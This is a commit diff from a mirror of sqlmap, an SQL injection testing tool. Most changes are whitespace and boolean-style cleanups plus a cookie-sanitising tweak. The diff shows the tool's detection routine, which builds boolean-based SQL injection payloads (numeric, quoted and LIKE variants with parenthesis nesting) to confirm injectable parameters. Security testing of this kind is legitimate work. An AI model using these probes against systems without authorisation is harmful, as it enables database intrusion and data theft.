mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 11:03:47 +03:00
sqlmap 0.8-rc3: Merge from Miroslav Stampar's branch fixing a bug when verbosity > 2, another major bug with urlencoding/urldecoding of POST data and Cookies, adding --drop-set-cookie option, implementing support to automatically decode gzip and deflate HTTP responses, support for Google dork page result (--gpage) and a minor code cleanup.
This commit is contained in:
parent
d55175a340
commit
ce022a3b6e
|
@ -21,8 +21,6 @@ License along with this library; if not, write to the Free Software
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import struct
|
import struct
|
||||||
|
@ -30,7 +28,6 @@ import struct
|
||||||
from optparse import OptionError
|
from optparse import OptionError
|
||||||
from optparse import OptionParser
|
from optparse import OptionParser
|
||||||
|
|
||||||
|
|
||||||
def convert(inputFile):
|
def convert(inputFile):
|
||||||
fileStat = os.stat(inputFile)
|
fileStat = os.stat(inputFile)
|
||||||
fileSize = fileStat.st_size
|
fileSize = fileStat.st_size
|
||||||
|
@ -74,7 +71,6 @@ def convert(inputFile):
|
||||||
|
|
||||||
return script
|
return script
|
||||||
|
|
||||||
|
|
||||||
def main(inputFile, outputFile):
|
def main(inputFile, outputFile):
|
||||||
if not os.path.isfile(inputFile):
|
if not os.path.isfile(inputFile):
|
||||||
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
|
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
|
||||||
|
@ -90,7 +86,6 @@ def main(inputFile, outputFile):
|
||||||
else:
|
else:
|
||||||
print script
|
print script
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
|
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
|
||||||
parser = OptionParser(usage=usage, version='0.1')
|
parser = OptionParser(usage=usage, version='0.1')
|
||||||
|
|
|
@ -10,8 +10,6 @@ Reference: http://hupp.org/adam/hg/python-magic
|
||||||
License: PSF (http://www.python.org/psf/license/)
|
License: PSF (http://www.python.org/psf/license/)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os.path
|
import os.path
|
||||||
import ctypes
|
import ctypes
|
||||||
import ctypes.util
|
import ctypes.util
|
||||||
|
@ -42,7 +40,6 @@ class Magic:
|
||||||
|
|
||||||
magic_load(self.cookie, magic_file)
|
magic_load(self.cookie, magic_file)
|
||||||
|
|
||||||
|
|
||||||
def from_buffer(self, buf):
|
def from_buffer(self, buf):
|
||||||
"""
|
"""
|
||||||
Identify the contents of `buf`
|
Identify the contents of `buf`
|
||||||
|
@ -66,7 +63,6 @@ class Magic:
|
||||||
except Exception, _:
|
except Exception, _:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
_magic_mime = None
|
_magic_mime = None
|
||||||
_magic = None
|
_magic = None
|
||||||
|
|
||||||
|
@ -96,8 +92,6 @@ def from_buffer(buffer, mime=False):
|
||||||
m = _get_magic_type(mime)
|
m = _get_magic_type(mime)
|
||||||
return m.from_buffer(buffer)
|
return m.from_buffer(buffer)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
|
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
|
||||||
|
|
||||||
|
@ -132,17 +126,14 @@ try:
|
||||||
magic_file.argtypes = [magic_t, c_char_p]
|
magic_file.argtypes = [magic_t, c_char_p]
|
||||||
magic_file.errcheck = errorcheck
|
magic_file.errcheck = errorcheck
|
||||||
|
|
||||||
|
|
||||||
_magic_buffer = libmagic.magic_buffer
|
_magic_buffer = libmagic.magic_buffer
|
||||||
_magic_buffer.restype = c_char_p
|
_magic_buffer.restype = c_char_p
|
||||||
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
|
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
|
||||||
_magic_buffer.errcheck = errorcheck
|
_magic_buffer.errcheck = errorcheck
|
||||||
|
|
||||||
|
|
||||||
def magic_buffer(cookie, buf):
|
def magic_buffer(cookie, buf):
|
||||||
return _magic_buffer(cookie, buf, len(buf))
|
return _magic_buffer(cookie, buf, len(buf))
|
||||||
|
|
||||||
|
|
||||||
magic_load = libmagic.magic_load
|
magic_load = libmagic.magic_load
|
||||||
magic_load.restype = c_int
|
magic_load.restype = c_int
|
||||||
magic_load.argtypes = [magic_t, c_char_p]
|
magic_load.argtypes = [magic_t, c_char_p]
|
||||||
|
@ -162,7 +153,6 @@ try:
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
MAGIC_NONE = 0x000000 # No flags
|
MAGIC_NONE = 0x000000 # No flags
|
||||||
|
|
||||||
MAGIC_DEBUG = 0x000001 # Turn on debugging
|
MAGIC_DEBUG = 0x000001 # Turn on debugging
|
||||||
|
|
|
@ -22,8 +22,6 @@ License along with this library; if not, write to the Free Software
|
||||||
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import mimetools
|
import mimetools
|
||||||
import mimetypes
|
import mimetypes
|
||||||
import os
|
import os
|
||||||
|
@ -39,7 +37,6 @@ class Callable:
|
||||||
def __init__(self, anycallable):
|
def __init__(self, anycallable):
|
||||||
self.__call__ = anycallable
|
self.__call__ = anycallable
|
||||||
|
|
||||||
|
|
||||||
# Controls how sequences are uncoded. If true, elements may be given
|
# Controls how sequences are uncoded. If true, elements may be given
|
||||||
# multiple values by assigning a sequence.
|
# multiple values by assigning a sequence.
|
||||||
doseq = 1
|
doseq = 1
|
||||||
|
@ -50,9 +47,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
||||||
|
|
||||||
def http_request(self, request):
|
def http_request(self, request):
|
||||||
data = request.get_data()
|
data = request.get_data()
|
||||||
|
|
||||||
if data is not None and type(data) != str:
|
if data is not None and type(data) != str:
|
||||||
v_files = []
|
v_files = []
|
||||||
v_vars = []
|
v_vars = []
|
||||||
|
|
||||||
try:
|
try:
|
||||||
for(key, value) in data.items():
|
for(key, value) in data.items():
|
||||||
if type(value) == file:
|
if type(value) == file:
|
||||||
|
@ -75,16 +74,18 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
||||||
request.add_data(data)
|
request.add_data(data)
|
||||||
return request
|
return request
|
||||||
|
|
||||||
|
|
||||||
def multipart_encode(vars, files, boundary = None, buffer = None):
|
def multipart_encode(vars, files, boundary = None, buffer = None):
|
||||||
if boundary is None:
|
if boundary is None:
|
||||||
boundary = mimetools.choose_boundary()
|
boundary = mimetools.choose_boundary()
|
||||||
|
|
||||||
if buffer is None:
|
if buffer is None:
|
||||||
buffer = ''
|
buffer = ''
|
||||||
|
|
||||||
for(key, value) in vars:
|
for(key, value) in vars:
|
||||||
buffer += '--%s\r\n' % boundary
|
buffer += '--%s\r\n' % boundary
|
||||||
buffer += 'Content-Disposition: form-data; name="%s"' % key
|
buffer += 'Content-Disposition: form-data; name="%s"' % key
|
||||||
buffer += '\r\n\r\n' + value + '\r\n'
|
buffer += '\r\n\r\n' + value + '\r\n'
|
||||||
|
|
||||||
for(key, fd) in files:
|
for(key, fd) in files:
|
||||||
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
|
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
|
||||||
filename = fd.name.split('/')[-1]
|
filename = fd.name.split('/')[-1]
|
||||||
|
@ -95,9 +96,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
||||||
# buffer += 'Content-Length: %s\r\n' % file_size
|
# buffer += 'Content-Length: %s\r\n' % file_size
|
||||||
fd.seek(0)
|
fd.seek(0)
|
||||||
buffer += '\r\n' + fd.read() + '\r\n'
|
buffer += '\r\n' + fd.read() + '\r\n'
|
||||||
|
|
||||||
buffer += '--%s--\r\n\r\n' % boundary
|
buffer += '--%s--\r\n\r\n' % boundary
|
||||||
|
|
||||||
return boundary, buffer
|
return boundary, buffer
|
||||||
|
|
||||||
multipart_encode = Callable(multipart_encode)
|
multipart_encode = Callable(multipart_encode)
|
||||||
|
|
||||||
https_request = http_request
|
https_request = http_request
|
||||||
|
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.controller.handler import setHandler
|
from lib.controller.handler import setHandler
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -35,7 +33,6 @@ from lib.techniques.blind.timebased import timeTest
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
|
||||||
def action():
|
def action():
|
||||||
"""
|
"""
|
||||||
This function exploit the SQL injection on the affected
|
This function exploit the SQL injection on the affected
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
|
@ -39,7 +37,6 @@ from lib.core.session import setString
|
||||||
from lib.core.session import setRegexp
|
from lib.core.session import setRegexp
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def checkSqlInjection(place, parameter, value, parenthesis):
|
def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
"""
|
"""
|
||||||
This function checks if the GET, POST, Cookie, User-Agent
|
This function checks if the GET, POST, Cookie, User-Agent
|
||||||
|
@ -71,11 +68,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming custom injection "
|
infoMsg = "confirming custom injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -83,7 +80,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "custom injectable "
|
infoMsg += "custom injectable "
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -97,11 +94,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming unescaped numeric injection "
|
infoMsg = "confirming unescaped numeric injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -109,7 +106,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "unescaped numeric injectable "
|
infoMsg += "unescaped numeric injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
|
@ -128,11 +125,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming single quoted string injection "
|
infoMsg = "confirming single quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -140,7 +137,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "single quoted string injectable "
|
infoMsg += "single quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
|
@ -159,11 +156,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming LIKE single quoted string injection "
|
infoMsg = "confirming LIKE single quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -171,7 +168,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "LIKE single quoted string injectable "
|
infoMsg += "LIKE single quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
|
@ -190,11 +187,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming double quoted string injection "
|
infoMsg = "confirming double quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -202,7 +199,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "double quoted string injectable "
|
infoMsg += "double quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
|
@ -221,11 +218,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming LIKE double quoted string injection "
|
infoMsg = "confirming LIKE double quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -233,7 +230,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "LIKE double quoted string injectable "
|
infoMsg += "LIKE double quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
|
@ -247,7 +244,6 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
def checkDynParam(place, parameter, value):
|
def checkDynParam(place, parameter, value):
|
||||||
"""
|
"""
|
||||||
This function checks if the url parameter is dynamic. If it is
|
This function checks if the url parameter is dynamic. If it is
|
||||||
|
@ -279,7 +275,6 @@ def checkDynParam(place, parameter, value):
|
||||||
|
|
||||||
return condition
|
return condition
|
||||||
|
|
||||||
|
|
||||||
def checkStability():
|
def checkStability():
|
||||||
"""
|
"""
|
||||||
This function checks if the URL content is stable requesting the
|
This function checks if the URL content is stable requesting the
|
||||||
|
@ -300,13 +295,13 @@ def checkStability():
|
||||||
|
|
||||||
condition = firstPage == secondPage
|
condition = firstPage == secondPage
|
||||||
|
|
||||||
if condition == True:
|
if condition:
|
||||||
conf.md5hash = md5hash(firstPage)
|
conf.md5hash = md5hash(firstPage)
|
||||||
|
|
||||||
logMsg = "url is stable"
|
logMsg = "url is stable"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
elif condition == False:
|
elif not condition:
|
||||||
warnMsg = "url is not stable, sqlmap will base the page "
|
warnMsg = "url is not stable, sqlmap will base the page "
|
||||||
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
|
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
|
||||||
warnMsg += "injectable parameters are detected, refer to user's "
|
warnMsg += "injectable parameters are detected, refer to user's "
|
||||||
|
@ -315,8 +310,6 @@ def checkStability():
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return condition
|
return condition
|
||||||
|
|
||||||
|
|
||||||
def checkString():
|
def checkString():
|
||||||
if not conf.string:
|
if not conf.string:
|
||||||
return True
|
return True
|
||||||
|
@ -347,7 +340,6 @@ def checkString():
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkRegexp():
|
def checkRegexp():
|
||||||
if not conf.regexp:
|
if not conf.regexp:
|
||||||
return True
|
return True
|
||||||
|
@ -379,7 +371,6 @@ def checkRegexp():
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkConnection():
|
def checkConnection():
|
||||||
infoMsg = "testing connection to the target url"
|
infoMsg = "testing connection to the target url"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.controller.action import action
|
from lib.controller.action import action
|
||||||
from lib.controller.checks import checkSqlInjection
|
from lib.controller.checks import checkSqlInjection
|
||||||
from lib.controller.checks import checkDynParam
|
from lib.controller.checks import checkDynParam
|
||||||
|
@ -33,6 +31,7 @@ from lib.controller.checks import checkRegexp
|
||||||
from lib.controller.checks import checkConnection
|
from lib.controller.checks import checkConnection
|
||||||
from lib.core.common import paramToDict
|
from lib.core.common import paramToDict
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
@ -42,7 +41,6 @@ from lib.core.target import createTargetDirs
|
||||||
from lib.core.target import initTargetEnv
|
from lib.core.target import initTargetEnv
|
||||||
from lib.utils.parenthesis import checkForParenthesis
|
from lib.utils.parenthesis import checkForParenthesis
|
||||||
|
|
||||||
|
|
||||||
def __selectInjection(injData):
|
def __selectInjection(injData):
|
||||||
"""
|
"""
|
||||||
Selection function for injection place, parameters and type.
|
Selection function for injection place, parameters and type.
|
||||||
|
@ -83,7 +81,6 @@ def __selectInjection(injData):
|
||||||
|
|
||||||
return injData[index]
|
return injData[index]
|
||||||
|
|
||||||
|
|
||||||
def start():
|
def start():
|
||||||
"""
|
"""
|
||||||
This function calls a function that performs checks on both URL
|
This function calls a function that performs checks on both URL
|
||||||
|
@ -143,6 +140,7 @@ def start():
|
||||||
if not checkConnection() or not checkString() or not checkRegexp():
|
if not checkConnection() or not checkString() or not checkRegexp():
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
if not conf.dropSetCookie:
|
||||||
for _, cookie in enumerate(conf.cj):
|
for _, cookie in enumerate(conf.cj):
|
||||||
cookie = str(cookie)
|
cookie = str(cookie)
|
||||||
index = cookie.index(" for ")
|
index = cookie.index(" for ")
|
||||||
|
@ -164,9 +162,10 @@ def start():
|
||||||
setCookieAsInjectable = False
|
setCookieAsInjectable = False
|
||||||
|
|
||||||
if setCookieAsInjectable:
|
if setCookieAsInjectable:
|
||||||
conf.httpHeaders.append(("Cookie", cookieStr))
|
safeCookie = sanitizeCookie(cookieStr)
|
||||||
conf.parameters["Cookie"] = cookieStr.replace("%", "%%")
|
conf.httpHeaders.append(("Cookie", safeCookie))
|
||||||
__paramDict = paramToDict("Cookie", cookieStr)
|
conf.parameters["Cookie"] = safeCookie
|
||||||
|
__paramDict = paramToDict("Cookie", safeCookie)
|
||||||
|
|
||||||
if __paramDict:
|
if __paramDict:
|
||||||
conf.paramDict["Cookie"] = __paramDict
|
conf.paramDict["Cookie"] = __paramDict
|
||||||
|
@ -201,7 +200,7 @@ def start():
|
||||||
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
if testSqlInj == True:
|
if testSqlInj:
|
||||||
for parenthesis in range(0, 4):
|
for parenthesis in range(0, 4):
|
||||||
logMsg = "testing sql injection on %s " % place
|
logMsg = "testing sql injection on %s " % place
|
||||||
logMsg += "parameter '%s' with " % parameter
|
logMsg += "parameter '%s' with " % parameter
|
||||||
|
@ -247,14 +246,11 @@ def start():
|
||||||
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
||||||
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
